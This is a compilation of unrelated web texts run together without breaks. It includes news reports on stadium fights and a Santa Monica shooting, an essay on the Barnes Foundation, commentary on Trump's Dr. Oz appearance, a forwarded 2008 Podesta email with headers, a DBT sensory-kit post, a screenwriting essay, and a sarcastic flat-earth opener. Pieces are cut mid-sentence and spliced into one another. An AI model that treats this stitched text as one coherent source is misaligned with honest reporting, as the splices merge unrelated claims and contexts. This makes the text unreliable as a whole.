McCarty, who wore a Bengals jersey, threw the hat away, police said, and the two groups separated only to run into each other again at their seats inside the stadium. The argument resumed in the stands and McCarty allegedly punched the woman in the head, causing her to fall to the ground, according to court documents.
Police discovered a fake identification card on McCarty upon his arrest. The teen admitted to drinking alcohol, police said.
McCarty is accused of falsification, underage drinking, theft, and assault. He was arraigned Monday and released on a $3,000 bond. The court also ordered him to stay away from and have no contact with the woman he's accused of assaulting, according to court documents.
A Steelers fan who traveled from Westville, Indiana, is accused of punching a woman in the face as he exited Paul Brown Stadium around 10 p.m. Tyler Matthys wore a Steelers jersey when police arrested him and accused him of the assault. His court date is not yet scheduled.
Martin Cooke, 33, of Germantown, Kentucky, was arrested after police said he urinated on the person in front of him in Paul Brown Stadium. Cooke, who wore a Bengals hoodie, is accused of fighting with the man and punching him in the face, court documents state. He is facing disorderly conduct and assault charges. Cooke was arraigned Monday and released on a $2,000 bond, according to court documents.
Police said David Grillo, 25, of Belle Vernon, Pennsylvania, walked up an aisle in the stadium and threw a beer at a fan during the game. Grillo was wearing a black jersey at the time, police said, and his Facebook page indicates he is a Steelers fan. The beer hit the fan in the face and caused lacerations, police said. Grillo is accused of assault. His court date is not yet scheduled.
A Cheviot man who wore a black shirt to the game, is accused of head-butting a man in the face. Phillip Ross, 29, was arrested at Paul Brown Stadium and is accused of assault. His Facebook page suggests Ross is a Bengals fan.
Andrew Robles, 28, of Allentown, Pennsylvania, was being ejected from the game for an unknown reason when, police said, he escaped officers and punched a woman in the face. Robles, who wore a Steelers jersey, is accused of assault. He was arraigned Monday and released on a $10,000 bond. The court also ordered him to stay away from and have no contact with the woman he's accused of assaulting, according to court documents.
Read or Share this story: http://cin.ci/1RgA4N7March 28, 2016
With one of the world's greatest collection of impressionist and early modern paintings, an idiosyncratic display and a history dominated by eccentric personalities and legal wrangles, the Barnes Foundation in Philadelphia is inspiring and intriguing in equal measure.
Dr Albert C. Barnes was born in Philadelphia in 1872. He was a talented athlete, who boxed and played baseball semi-professionally to help pay for his schooling. He went on to make his fortune by producing Argyrol, an antiseptic silver compound used in the prevention of infant blindness. Barnes started his art collection with the guidance of his childhood friend, the painter, William Glackens, whom he sent to Paris in 1912 to buy art. Glackens returned with 33 paintings including van Gogh’s The Postman and Picasso’s Woman Holding a Cigarette, laying the foundation of one of world's greatest collection of early modern paintings. Barnes went on to work with Parisian dealers including Durand-Ruel and Guillame to build his collection and set up the Barnes Foundation in 1922.
In 1929, just months before the Wall Street crash, Barnes sold his company, A.C Barnes Company, to concentrate full time on his art collecting. With money in his hand, and operating within the poor economic conditions during the Great Depression, Barnes was able to acquire art at bargain prices: ‘Particularly during the Depression my specialty was robbing the suckers who had invested all their money in flimsy securities and then had to sell their priceless paintings to keep a roof over their heads’.
Barnes assembled a large and uneven treasure-house of paintings, metalwork, furniture, and plants, including 181 (yes, you read that correctly, 181!) Renoirs, 69 Cézannes, 46 Picassos and 59 Matisses, amongst many others.
Barnes dictated who could see his collection and when, and how it was housed, hung, and reproduced. Requests from art critics were categorically denied, usually signed by Barnes’s dog Fidèle with an inked paw print. Barnes famously turned down poet, T.S Eliot’s request to visit the collection with a one-word answer, ‘Nuts’. He prohibited the loan of works, the touring of the collection and the move of the collection from its original gallery in Lower Merion, Pennsylvania – stipulations that he included in his will.
Even today, the Foundation is obliged to retain Barnes’s symmetrical and unusual display whereby paintings, metalwork, sculpture and decorative arts of different periods, cultures, styles and genres are combined in symmetrical wall arrangements. New York Magazine described the Barnes Foundation as 'one of the greatest... and most oddly displayed collections of post-Impressionism and early Modernism'.
After Barnes' death in 1951, the museum became embroiled in fierce and prolonged financial, legal and community disputes as litigious directors sought to gain control of $4.5 billion of art. These disputes, which lasted for nearly half a century, culminated in a series of lawsuits for the Foundation's President in the 1990s and near-bankruptcy for the collection.
After decades of wrangling, the Foundation was moved in 2012 into a more accessible, better-equipped and more flexible building, which was designed by husband-and-wife architectural team of Tod Williams and Billie Tsien. Located on Philadelphia’s Benjamin Franklin Parkway, the Foundation is open six days a week and publishes beautiful catalogues of the collection - moves that all allow this incredible art collection to shine.
Today, the feuds are slowly fading but people still remain divided over the story of the Barnes Foundation. Some see it as a tale demonstrating that owners of art are simply temporary caretakers whose wishes should not be held sacrosanct in perpetuity. Others see the recent history of the Barnes Foundation as a betrayal of the legacy of a man. What remains certain is that the collection is an extraordinary one and is a great reason for art lovers and museum goers to go visit the wonderful city of Philadelphia or to buy the Barnes Foundation's beautiful catalogues and books.
Recommended reading
African Art in the Barnes: The Triumph of L’Art negre and the Harlem Renaissance
Renoir in the Barnes Foundation
Art held hostage
Practicalities
: 2025 Benjamin Franklin Parkway, Philadelphia, United States+1 215-278-7200: 10am-5pmClosed Tuesdayshttp://www.barnesfoundation.org/Self-described as "Part band, part art collective."[1] They reject the "rock band" label, Lane Czaplinski, artistic director of On the Boards remarks, "If they are not rock musicians, "there is rock payoff."[2] Czaplinski has compared them to Polyphonic Spree
"Awesome" began as a cabaret act thrown together by seven experienced fringe theater actors. Although they continued to perform in theatrical venues, their identity as a band and cabaret act has eclipsed their status as actors.[3] Around October 2003, several future members of "Awesome" played together in a They Might Be Giants tribute to raise money for Seattle's Open Circle Theater.[4] Their very first performance under the name "Awesome" (with just Ackermann, Mosher, Nixon, and Osebold) was in Seattle at Annex Theater's monthly cabaret "Spin the Bottle" On February 6, 2004,[2] and their first full-septet performance as "Awesome" was in the Jewelbox theater at Belltown bar the Rendezvous on June 30, 2004.[4] Their first major production was Delaware (first a multi-media stage production and later an album).[3] Gigs as a band have included performing on bills with Harvey Danger,[4][5] A. C. Newman,[4] U.S.E.,[4] The Presidents of the United States of America,[5] and The Long Winters.[5]
Band member David Nixon is a philosophy professor at the University of Washington, Bothell.[5]
Band member Rob Pro (accordion, clarinet) is a composer and sound designer for theater productions.
Many of the group's theatrical pieces are non-narrative or have only minimal, non-linear narratives. For example, No Signal (2006) was described by Seattle Times reviewer Brangien Davis as "addressing, among other topics, technical difficulties, recurring dreams, cell death, regeneration and bees."[6]At this point, it should come as no particular surprise that Donald Trump used daytime TV as the venue for disclosing more detailed medical records than he’d previously shown the public.
His Dr. Oz appearance is in keeping with both a campaign that’s capitalized off lessons the candidate learned in his time on reality TV and a political scene in which all manner of pop-culture TV has come to be more important than ever to transmit messages to discrete groups of voters.
What was surprising was the degree to which Trump tamped himself down. In the past, every Trump appearance, from debates to Morning Joe phoners, was carried across like the boardroom on The Apprentice. Here, Trump was subdued and at times almost melancholic in tone when describing the declines and deaths of his late parents, and restrained rather than triumphalist when going over the letter he presented from his physician to Dr. Oz.
Read More: Fact-Checking Donald Trump’s Health Claims on Dr. Oz
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He ceded the spotlight for much of the broadcast to his daughter Ivanka, who ran through her father’s childcare plan and defended his track record of speech about women: “My father speaks his mind—whether you’re a man or a woman, if you attack him, he’ll attack you back.”
The talk of attacks was purely hypothetical, though. Trump wished Hillary Clinton well at the broadcast’s start and generally adhered to Oz’s request that he not attack anyone, except for a Bob Hope-style groaner about how much golf the current president plays, which the audience applauded. Trump was not on the attack. Even his proclamations of greatness to which any observer has become accustomed—he explained towards the top of the show that he must be healthy to draw 20,000-person crowds—were delivered with an air of bemusement that fit in with a hypothetical viewer’s cup of afternoon coffee. This wasn’t a circus; it was a klatsch.
For those who are concerned about Trump’s apparent recent surge of momentum, the Oz appearance represents something truly grave. In the recent era, to be presidential necessarily means fitting the power of the presidency into varying media frameworks to meet the public where they are. President Obama has sat down with Ellen DeGeneres to promote LGBT equality, with Oprah Winfrey to discuss the power of prayer, and with the hosts of The View to debrief during a difficult period before the 2010 midterm elections. One of the consequences of Hillary Clinton’s recent bout of pneumonia was that she had to cancel an appearance on Ellen, an appearance that would not have been her first of the campaign.
In an era when there’s so many news outlets on TV and online, blaring so loudly and developing so quickly, daytime represents a meaningful way to reach suburban women in particular with an appealing and targeted message. By this standard of seeming presidential—of being able to go soft on a soft hour of TV, transmitting your message in a way that isn’t strident enough to shatter a Vaseline-smeared lens—Trump succeeded, wildly.
Ivanka Trump was, as usual, a particularly effective surrogate in TV settings where follow-up questions aren’t asked. (As has been widely observed, her Republican National Convention speech was the smoothest of all four nights of coverage, even if it reflected a set of policy positions that seemed ill-aligned with candidate Trump’s.) Though in a recent Cosmopolitan interview, the surrogate bristled at questions about her father’s childcare plan as “negative” and “editorializing,” Oz provided her as soft a landing as he would have for Chelsea Clinton, were she to appear. (The host repeatedly said he hoped Hillary Clinton would appear on the show in future.) The downside of daytime, even with its assurance of easy questioning, is seeming to some traditionalists to have lost an old-school idea of gravitas; in a campaign and in a landscape where all forms of media are up for grabs, the upside is almost unlimited.
To be clear: Using daytime TV to disseminate a message, whether a policy position or a more general set of values, is growing yet more common among national politicians. Using it to disclose medical records is, yes, unprecedented. But it’s a sign of just how much Trump got what he wanted out of the Oz appearance that the disclosure felt, by broadcast’s end, like a hazy memory. It was dispensed with by the 20-minute mark or so by Oz, who proclaimed based on a quick scan of the doctors’ note: “If a patient of mine had these records, I’d be really happy and I’d send them on their way,” Oz said, then both parties breezily moved on. It was a strange anticlimax, one heightened by the fact that the news of the records and what they contained leaked out a day prior to the broadcast after Trump had taped the episode; an issue endlessly debated was now portrayed to millions as settled on the basis of a TV host’s reading of a brief letter. Even within the hour, the records were brought up again only when Oz asked Trump if he’d like to drop a few pounds to improve his body mass index. (Yes, he would!)
In a question-and-answer segment towards the broadcast’s end, one audience member asked about whether or not prejudice was tearing America apart. It’s a question that would never be, in such plain and simplistic terms, get past the moderators at a town-hall debate, which is exactly why Trump had found his perfect venue. “We will come together as a country,” he said. Once again, everybody clapped.
Contact us at editors@time.com.Callum Smith and George Groves on collision course for 2015 bout
Callum Smith with his team. Pictures by Lawrence Lustig
Callum Smith and George Groves could be in line for a big domestic super-middleweight showdown next year at Anfield.
Smith and Groves were victorious on Saturday on the undercard of Cleverly-Bellew II a the Echo Arena in Liverpool.
Groves set up a world title shot against WBC champion Anthony Dirrell with an unimpressive stoppage of Denis Douglin after Smith stepped up in class to defeat Nikola Sjekcola on points, something only Arthur Abraham and Sakio Bika had managed before.
Callum Smith’s trainer Joe Gallagher says a fight against George Groves is what they really want and believes the bout could occur next autumn. Callum Smith’s trainer Joe Gallagher says a fight against George Groves is what they really want and believes the bout could occur next autumn.
Knocking on the door
And Smith's trainer Joe Gallagher believes a clash between the two at the home of Liverpool FC could be a goer as early as autumn 2015.
"George Groves is in our weight division and in our governing body. He fought the other night and that is a fight we are itching for," Gallagher said at the opening of a new residential school for students with autism in Northwich.
"I know he's got the world title shot first, and hopefully he goes and wins that against Dirrell, and Callum Smith will be knocking on the door and banging at his heels for a shot at that title.
"I think that's a good fight, possibly in autumn time next year. Callum Smith and George Groves at Anfield."Please enable Javascript to watch this video
DENVER -- Call it guerrilla art with a baby face.
For months, small baby doll faces have been creeping up across Denver and creeping out many people who see them.
From South Broadway to Cherry Creek and many places in between, the hard, 3-D faces have been posted on curbs, medians and buildings. Many of them have been photographed, yet many often go overlooked.
“I’ve seen one over at Capitol Hill and another at Speer and Downing at the bridge,” Elaine Wahlquist said. “I’ve commented to my husband, ‘Look at those.’ But he never seems to notice them.”
Most of the faces are pink and less than 6 inches long, but there are other sizes and colors. Some have also been torn down or broken in recent months.
Several pink faces were plastered below a sign for Strictly Nails Salon at Downing Street and Alameda Avenue, but owner Pam Schwasinger had overlooked them until they were pointed out.
“I don’t know. I think they’re … they’re a little disturbing,” Schwasinger said.
But not everyone is disturbed.
“We thought it was cool so we left it up,” said Joseph Ramirez, owner of Mutiny Information Cafe on South Broadway.
Ramirez said the faces first appeared last summer, but he said he and the other owners have no idea who is behind them.
“I remember we were all texting each other, sending each other pictures like, ‘Who is this? Who did this?’” Ramirez said.
Several artists said they know the man behind the faces, but he is not taking credit or commenting on the meaning of the work.
“Somebody who likes baby dolls?” Schwasinger said. “I do not know.”
“Not even going to speculate,” Ramirez said. “It’s art for arts sake. I don’t know.”
Maybe that’s the point.
“It keeps the conversation going. I mean that’s good art isn’t it?” Ramirez said. “Right on. Keep doing it. Whoever you are.”Download raw source
Received: by 10.151.98.20 with HTTP; Thu, 14 Aug 2008 03:01:03 -0700 (PDT) Message-ID: <8dd172e0808140301o5f7cc623x92fce1bbb251f443@mail.gmail.com> Date: Thu, 14 Aug 2008 06:01:03 -0400 From: "John Podesta" <john.podesta@gmail.com> To: jmpalmieri@aol.com Subject: Fwd: [big campaign] Catholics Call on John McCain to Denounce Jerome Corsi's Comments on Catholics In-Reply-To: <48a337fb.8702be0a.4142.ffffaf84SMTPIN_ADDED@mx.google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <c28de9b0808131213i5a10f3bbgf8c2ede3cb3e0f3a@mail.gmail.com> <48a337fb.8702be0a.4142.ffffaf84SMTPIN_ADDED@mx.google.com> Delivered-To: john.podesta@gmail.com Should we get amanda to ask mary matalin for a reaction to this? She claims to be catholic and is his book agent. ---------- Forwarded message ---------- From: James Salt <jsalt@catholics-united.org> Date: Wed, 13 Aug 2008 15:37:21 -0400 Subject: [big campaign] Catholics Call on John McCain to Denounce Jerome Corsi's Comments on Catholics To: bigcampaign@googlegroups.com For Immediate Release Contact: August 13, 2008 James Salt 305-978-1056 or jsalt@catholics-united.org Catholics Call on John McCain to Denounce Jerome Corsi's Comments on Catholics Corsi stated that the pope supports pedophilia and called Pope John Paul II senile Washington, DC - Catholics United today called on Senator John McCain to categorically and unequivocally denounce the bigoted and intolerant comments of author Jerome Corsi. Corsi, who recently reprised his 2004 attacks on the Democratic candidate for president with the book Obama Nation, has a history of making statements offensive to Catholics and other people of faith. Corsi has admitted that in March 2003 he posted a comment on the Free Republic website stating, "Boy buggering in both Islam and Catholicism is okay with the Pope as long as it isn't reported by the liberal press." In December 2002 he wrote, "So this is what the last days of the Catholic Church are going to look like. Buggering boys undermines the moral base and the [sic] laywers rip the gold off the Vatican altars. We may get one more Pope, when this senile one dies, but that's probably about it." Corsi also made a number of intolerant comments aimed explicitly at the Islamic faith. The release of Corsi's book, which the author acknowledges in today's New York Times is designed to defeat Obama, marks the latest in a string of instances in which John McCain had benefited from the divisive tactics of extremists. Earlier this year McCain sought and later was forced to reject the support of controversial televangelists John Hagee and Rod Parsely. He currently faces calls to remove Deal Hudson from his Catholics for McCain National Steering Committee over allegations Hudson had an improper sexual encounter with an 18-year old student in 1994. "John McCain once claimed that 'agents of intolerance' had no place in our political system, and he pledged to run a new kind of campaign," said Chris Korzen, executive director of Catholics United and author of A Nation for All: How the Catholic Vision of the Common Good Can Save America from the Politics of Division. "If McCain stands to benefit from such political extremists, he has a moral responsibility to categorically condemn Corsi's hate speech as inappropriate, not just for Catholics but for the entirety of our public discourse." For more information: * Media Matters piece exposing Corsi'a authorship of intolerant comments: http://mediamatters.org/items/200408060010 * Corsi posts on Free Republic Web site under the name "jrlc": http://www.freerepublic.com/focus/f-news/855642/posts#16; http://www.freerepublic.com/focus/f-news/807104/posts?q=1 <http://www.freerepublic.com/focus/f-news/807104/posts?q=1&&page=51#74> &&page=51#74 ### Catholics United is a non-profit, non-partisan organization dedicated to promoting the message of justice and the common good found at the heart of the Catholic Social Tradition. This is accomplished through online advocacy and educational activities. For more information, visit <http://www.catholics-united.org> www.catholics-united.org. --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the "big campaign" group. To post to this group, send to bigcampaign@googlegroups.com To unsubscribe, send email to bigcampaign-unsubscribe@googlegroups.com E-mail ryan@campaigntodefendamerica.org with questions or concerns This is a list of individuals. It is not affiliated with any group or organization. -~----------~----~----~----~------~----~------~--~--- -- Sent from Gmail for mobile | mobile.google.comSANTA MONICA (CBSLA) – A woman was killed and three others were wounded when shots were fired from one party bus to another in downtown Santa Monica overnight Friday.
The shooting occurred just before 1 a.m. Saturday in the area of Ocean Avenue and Colorado Boulevard.
According to Santa Monica police, an altercation occurred between two groups on two different party buses. When one of the buses tried to drive away, at least two people aboard the other bus pulled out weapons and opened fire.
Three people aboard the bus and one person standing in the street were struck by the gunfire.Three of them were rushed to nearby hospitals. One of them, a woman in her 30s, later died from her wounds, police said. The other two remain hospitalized in stable condition. The fourth victim sustained minor injuries from shattering glass, but did not require transport.
As the shots were fired, the driver of the targeted bus pulled around the corner to a Santa Monica police station. Meanwhile, officers who happened to be on the nearby Santa Monica Pier heard the gunshots and rushed to the scene.
“We had some officers that were on the pier that may have heard it, so they immediately responded and started broadcasting that they heard some gunshots,” Santa Monica police Lt. Saul Rodriguez said. “So we had officers on scene pretty quickly, enough so to try to close off and set up a perimeter as best we could. But again, we couldn’t find or locate any possible suspects because there were a lot of people that apparently were trying to disperse and leave the area immediately. So it was hard to tell what was going on at that point. ”
Four weapons were recovered: two by the bus and two in a ravine near the Pacific Crest Highway.
Passengers on the bus with the deceased woman were celebrating a birthday.
No arrests have been made.
The suspects were described as two to three black males. Investigators are unsure exactly how many people opened fire or how many rounds were shot. They are hoping more witnesses come forward to help provide more detailed suspect descriptions. Anyone with information should call police at (310) 458-8495.
CBS2’s Joy Benedict spoke to stunned neighbors shocked that deadly violence happened in their usually-quiet and safe neighborhood.
Joe Frazier — who thought they were shooting a movie — reminded everyone that this incident provides a valuable lesson.
Live each day like it could be your last one he said, “Because one day you’re going to be right.”For one day a week, citizens in the city of Los Angeles are encouraged to be'veg heads.'
Getty Images
For one day a week, citizens in the city of Los Angeles are encouraged to be ‘veg heads.’
On Friday, the LA city council unanimously passed a resolution that declares every Monday a “Meatless Monday,” becoming the largest city to endorse the movement to curb meat consumption.
The resolution [PDF] is voluntary for citizens, and the councilmen say it was passed in “support of comprehensive sustainability efforts as well as to further encourage residents to eat a more varied plant-based diet to protect their health, protect animals and protect the environment.” In the resolution, which was introduced by councilwoman Jan Perry and councilman Ed Reyes, the representatives discussed issues involving the environmental and health impacts of meat consumption, and cited the American Dietetic Association’s recognition that eating less meat can decrease risk of health problems including obesity, hypertension, diabetes and some cancers.
The Meatless Monday movement actually had its roots in a World War I effort to ration key staples during the war, and recently re-emerged in 2003 as part of a public health campaign to encourage healthier eating that was endorsed by the Johns Hopkins School of Public Health.
(SPECIAL: The 31 Healthiest Foods To Eat Now)
The Los Angeles resolution also calls out the role that meat-heavy diets can play in obesity, writing:
More than half of the adult population is overweight or obese in Los Angeles County, according to the County’s Department of Health Services. Those who are obese are at increased risk of developing many chronic diseases, including heart disease, stroke, high blood pressure, diabetes, arthritis, and many types of cancer; and statistics show that low-income areas in Los Angeles are at higher risk for preventable diseases linked to obesity, including heart attacks, strokes, diabetes and cancer; and low-income neighborhoods in Los Angeles have less access to healthy foods.
“Eating less meat can prevent and even reverse some of our nation’s most common illnesses,” Perry said in making the case for the meatless Mondays, NBC Los Angeles reports. “We’ve become disconnected in some ways from the simple truth that our health is directly affected by the foods we eat.”
(LIST: Make Over Your Diet in One Week: 7 Days of Healthier Meals)
The resolution doesn’t make eating meat a crime, and it won’t be enforced by law, the LA Daily News reports. But officials hope it will spark a city-wide trend toward healthy eating and better care of the environment.
L.A. may be the largest city to pass a Meatless Monday resolution, but other cities like Washington, D.C., San Francisco, Raleigh–Durham, North Carolina have passed similar resolutions.
“We are of course really pleased and excited,” says Peggy Neu, president of Meatless Monday. “I think one of the things that’s so great about a city adopting the resolution is that the whole community can get behind it. When people from all sectors can join together to do it–like restaurants, hospitals, schools–it gives you a sense of community. People can go out to eat together, have a potluck, have a special meal as a family. If the whole community is around it, it can really be a great social ritual.”
(MORE: Does Meat Gross You Out? It May Be Genetic)
The hope is that cutting out meat on Mondays will help people to turn to other, healthier options, including fruits and vegetables. “There are a lot of health benefits to reducing meat consumption, but there are so many positive benefits of eating more fruits and vegetables,” says Neu. “I think that is one of the challenges for people. We find from our research that when people do Meatless Monday, they find different ways to cook vegetables. Hopefully this population that has such an issue with obesity can use this as an opportunity to experiment and try those healthy options.”
For restaurants, school programs and food services supporting Meatless Monday, check out the site here.This is a method I learned in DBT, I think its also used in CBT. The idea here is to alleviate distressing situations with soothing ones.
A big problem I face in the world with anxiety is the external onslaught of sensations. I’m not asking for a loud noise to startle me, or for a stranger to yell, or any other external sensation that produces extremely strong negative feelings.
A good way to combat this is by keeping a bag full of things that will give you strong positive feelings from external sensations. Of course this takes a good deal of self awareness, and take the time to learn what feels good and what doesn’t.
Focus on one of the 5 senses at a time, and figure out some things that you know you like from each of those categories: Sight, touch, taste, smell, and sound. Or, something very strong– you may not find mints enjoyable, but the strong taste can calm your body’s responses by having something physical to focus on.
Some common ingredients to a successful Sensory kit
Sight:
Use things that are your favorite color.
A wallet-sized picture of someone or something you enjoy
Landscapes are common.
Baby animals!
Funny photos
Pictures–! really you can go all out with this, because you can take photos of anything these days.
Blowing bubbles
Positive affirmations
Touch:
Travel-sized play doug, or putty
Soft objects
Stress relief Magnets
Stress balls
Tactile beads
Wood, metal, etc.
Rubber bands
Rubbing stones
Beanbags
Kneading eraser
Taste
Sour or hot candies.
Gum
Mints
A favorite snack
Smell
Aromatherapy oils
Travel sized scented hand sanitizers
Lavender is quite popular
Perfumes
Menthol, commonly used for soothing colds.
Scratch and sniff stickers
Sound
Clickers
MP3 player playlist
Music boxes
Nature sounds
Classical music
Running/moving water
Bells
Sensory kits can be any size that fits your lifestyle. As a student I’m in many different places and need something very easy to carry around and keep inconspicuous. But if you’re stationary a lot of the time, in a cubical or working at home, you can go a little larger and keep it in a safe place.
Even the container you choose will be sensory-pleasing! Its important to find something that just looking at it fills you with a sense of pleasure.
When a distressing event occurs you can pull out one of your sensory-soothing items and use it to alleviate the stress of a situation. This works for anxiety, anger, depression… any strong, physical emotion!
I’ll post some pictures of my own sensory kit later. If you have your own, or have some ideas that aren’t listed here feel free to send them to me! c:HOLYOKE -- A public hearing will be held tonight at 6:30 at City Hall on a plan to open a medical marijuana dispensary at 28 Appleton St.
The City Council Ordinance Committee is holding the hearing as part of the Council's consideration of an application for a special permit for the medical pot facility submitted by GTI Massachusetts NP Corp.
GTI Massachusetts wants to open a medical pot facility that would occupy the second floor of a building in a general industry zoning district.
Peter Kadens, chief executive officer of GTI Massachusetts, has said the company would hire 30 people for jobs in its first year and up to 100 over three years. Jobs would include trimmers and packagers of marijuana plants, supervisors and managers. Wages would start at $14 an hour with benefits, he said.
Ward 2 Councilor Nelson R. Roman said in a text message that he and residents had concerns about the proposal initially, and still have questions, but he has met with GTI Massachusetts officials and they have shown a commitment to discussing issues.
"I believe since that point they are making every effort to genuinely connect to the community," Roman said.
Massachusetts voters in 2012 permitted medical marijuana facilities by approving a statewide ballot question, and state law prohibits a city or town from banning such facilities. But the city can regulate where such a facility can be located and require that the permit-holder disclose security measures and discuss issues like hours of operation.
Marijuana can be prescribed medically to treat cancer, glaucoma, HIV-AIDS and other illnesses.A non-profit group in Saskatoon is advertising its frustration with one of the province's largest corporations.
Canadians for Tax Fairness recently collaborated with Saskatoon citizens to pay for a billboard calling on Cameco to 'Pay Up' millions of dollars in taxes.
The billboard says, 'Hundreds of millions owed to the people of Canada. Pay taxes where profit is earned.' It is accusing Cameco of using tax havens to avoid paying corporate taxes.
Creating awareness
Don Kossick, a member with Saskatchewan Citizens for Tax Fairness, said the advertisement is an attempt to keep this issue in the public.
"From our part, it's a moral obligation for Cameco to recognize where they get their wealth from and make sure some of that wealth comes back to the people of Saskatchewan," Kossick said.
Cameco is in the midst of a multi-million dollar tax court battle with Canada Revenue Agency. The government agency contends that the uranium giant set up a subsidiary in Zug, Switzerland for the purpose of avoiding taxes in Canada.
The company has publicly estimated that it could end up owing more than $800 million in Canadian corporate taxes for the years 2008 to 2012, if it loses the case.
Saskatchewan's take of the total tax bill could be about $300 to 350 million.
Seeking ideas
Kossick said the group has also started an online group to encourage residents to share their ideas on how that money could be spent.
"There's incredible responses like a women's shelter," Kossick said. "Perhaps free tuition at the University of Saskatchewan. Maybe get the movie industry going back here again. Child care that is accessible and much more affordable. So people are recognizing that that is wealth that should be used here in the province."
The matter is still before the courts and could take years to settle.First Solar Announces 1 GW Of Cumulative Solar Module Shipments To India
April 2nd, 2016 by Saurabh
At a time when India and the US are sparring over the former’s policy on the use of domestically manufactured solar power modules, a US-based module manufacturer has achieved a landmark achievement.
First Solar has announced that its cumulative solar power module shipment to India has crossed 1 GW, and it has become the first thin-film solar panel manufacturer to achieve this feat. The achievement is no mean feat when one considers the domination of Chinese manufacturers in the Indian market.
In FY2013-14, of all the solar power modules imported into India, 65% were from Chinese manufacturers. This figure increased to 70% in the subsequent financial year. Foreign companies have benefited from the Indian government’s policy to not impose anti-dumping duties on imported solar power modules.
First Solar has been active in the Indian market since the inception of the National Solar Mission. It is also believed to have supplied modules to several projects in the Charanka solar power park in Gujarat, which predates the launch of National Solar Mission.
The company claims that its modules deliver an additional 5-9% energy yield compared to polycrystalline modules. The company has also benefited from the financial contracts of project developers with US financial institutions, especially the US Export-Import Bank.
First Solar had pledged, in February 2015, to install 5 GW solar power capacity in India over a period of 5 years. Last year, the company participated in several competitive auctions and secured some projects in the southern states of Telangana and Andhra Pradesh. The company now owns a pipeline of 200 MW capacity across various states in the country.
Reprinted with permission.According to an article in last week's New York Times by reporter Sarah Maslin Nir, when low-wage workers win court judgements against their employers they often have a hard time collecting. The problem is it isn't true.
Nir's key example actually contradicts her main argument. The whole episode is indicative of the Times' approach to covering labor issues, which is essentially advocacy not journalism.
The article opens with the story of a lawsuit against a small chain of car washes in New York and New Jersey owned by José Vázquez. After 18 employees were awarded $1.65 million in a settlement, Nir reported, they were unable to get their money:
The workers who toiled at the Vázquez carwashes have seen little of their settlements after the owners filed for bankruptcy, appearing to take advantage of a well-worn tactic used to avoid paying exploited workers, according to labor advocates.
The plaintiffs in the Vázquez case actually collected the last installment of the settlement on June 21 |
and this is how they do it.
In the climactic scene, the hero will typically stand on one side of a metaphoric line, a line that leaves us in doubt about whether they are going to draw on the lessons they’ve learned in the story and address the flaws they’ve been confronted with. And, on the other side of the line, stands their Higher Self, beckoning them to come across.
Will they come across that line?
Will they have the courage? Can they display the compassion?
Or won’t they?
If and when they do – whooooosssh! – the arrow catapults off into the stratosphere and you get that instantaneous release of emotional power.
Like when Todd in Dead Poets Society steps up onto that desk and declares, “Oh, Captain, my, Captain!”.
Like when the Chief in Cuckoo’s Nest takes that bathroom unit and hurls it threw the window.
Like Thelma and Louise do when they look at one other, put pedal to the metal, and drive off that cliff.
Like Scott does in Strictly Ballroom, when, instead of dancing the Federation Steps, he assumes that dramatic matador pose that tells us that he is going to dance the Paso Doble.
Like Richard does in Little Miss Sunshine, when, instead of being the dork he’s been for most of the film, he chooses to dance like his daughter, Olive.
Like Lars does in Lars and the Real Girl, when he turns to Margo at Bianca’s graveside, and asks, “Do you want to go for a walk?”.
In The Lives of Others, because it’s a tragedy, it’s slightly different. The hero takes the decisive action, things look fine, and then whack – our hearts are shattered. But, again, the emotional effect is achieved through one swift, instantaneous action.
Similarly in The Godfather, the door swings closed on his wife, and Michael’s regression is complete.
In all of these films, there is a Bow and Arrow moment. The tension that has been built is released in one swift action.
What you don’t want to do is pull the bow back, and pull it back a bit more, and pull it back as far as it will go, then say, oh, actually, that’s a little bit too far back, let’s just release that tension a little bit, and a little bit more and a little bit more, and now let’s release it.
What happens?
Plop.
Dead arrow. Dead climax. Dead film.
To further illustrate the point, have a think about The King’s Speech.
What’s the most moving moment in The King’s Speech?
For me, the climax – the delivery of the speech – is not the most moving moment in The King’s Speech. Not by a long shot.
The most moving moment is when, after being goaded by Logue (Geoffrey Rush) about why he should respect his regal authority, Bertie explodes, “I have a voice!”.
That for me is profoundly moving. The tension is built, the bow is pulled back further and further and then – release – in one swift action.
By contrast, I’m not moved nearly as much by the speech. I just don’t feel it. Why? Because the tension is not released in one swift action.
Where is the finish line? When can we feel safe? When can we feel relieved?
When he starts? No.
How far in then?
The middle? But he’s still talking. He could still stuff it up.
When he’s finished? Well, that’s a bit like those exams. It feels good, but not as good as I thought it would feel.
Before The Kings Speech apologists jump all over me – and join all the Raiders fans who have been outraged that I would question any aspect of this great film – let me say this …
I’m not saying this as a criticism. Or that I would necessarily change anything. I’m just making an observation. The “I have a voice” moment in The King’s Speech moves me more than the climax that’s highlighted in the title and I can see why that is. In one, there is a swift release. And in the other, the tension is dissipated gradually. I think if we’re smart and we want to understand how story works, we shouldn’t be ignoring stuff like that. When our feelings tell us something, dig a little to discover why.
How to bring the bow and arrow to your screenplay
Novice screenwriters tend to think that writing involves typing stuff into FinalDraft. If they’re not writing sluglines and tapping in dazzling dialogue, they’re not really writing. Big mistake.
Writing is not just typing the screenplay. Writing, first and foremost, is shaping the story. It’s rolling around options in your head or on scene cards or on the white board, as you try to manoeuvre characters and scenarios into a sequence of emotional shifts that will ultimately profoundly move your audience.
And the critical moment is the ending. What happens at the climax of the film to release the tension of the previous 100-odd pages? Do you release it in one swift action or not?
Is it working? And, there is one indisputable way to tell … which I’ll reveal in my next and final post in this series …
Great Endings #10 The ultimate, unarguable test
Catch the entire Great Endings series of posts here
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Subscribe to the Cracking Yarns YouTube channelEarth is Flat! Boom! Proof from Climate Change!
Written by Joseph E Postma
How does that old saying go?
“The bast place to hide something is right out in the open.”
[editor note: sarcasm throughout] Some of you may be aware that there is a major revolution happening in science right now, where the public is slowly being leaked information by whistle-blowers from NASA about the true shape of the Earth. We have been being lied to by the intellectual elite and the Freemasons for centuries, all as a ploy by the Illuminati to hijack our reality and create a simulacrum in which the Catholic Church and the Pope gain almost full control over our minds. If we believe that the Earth is a round ball in space then we will believe it to be possible that aliens can come visit us, and this is all in preparation for the false flag alien invasion that the Money Masters are planning for us with HAARP and Project Blue Beamin order to implement the New World Order with the Antichrist at its head with all humans enslaved to the new Satanic World Religion.
See these links for background info on the truth of what is being hid, and has been hidden for hundreds of years, from the general public:
Flat Earth 2016
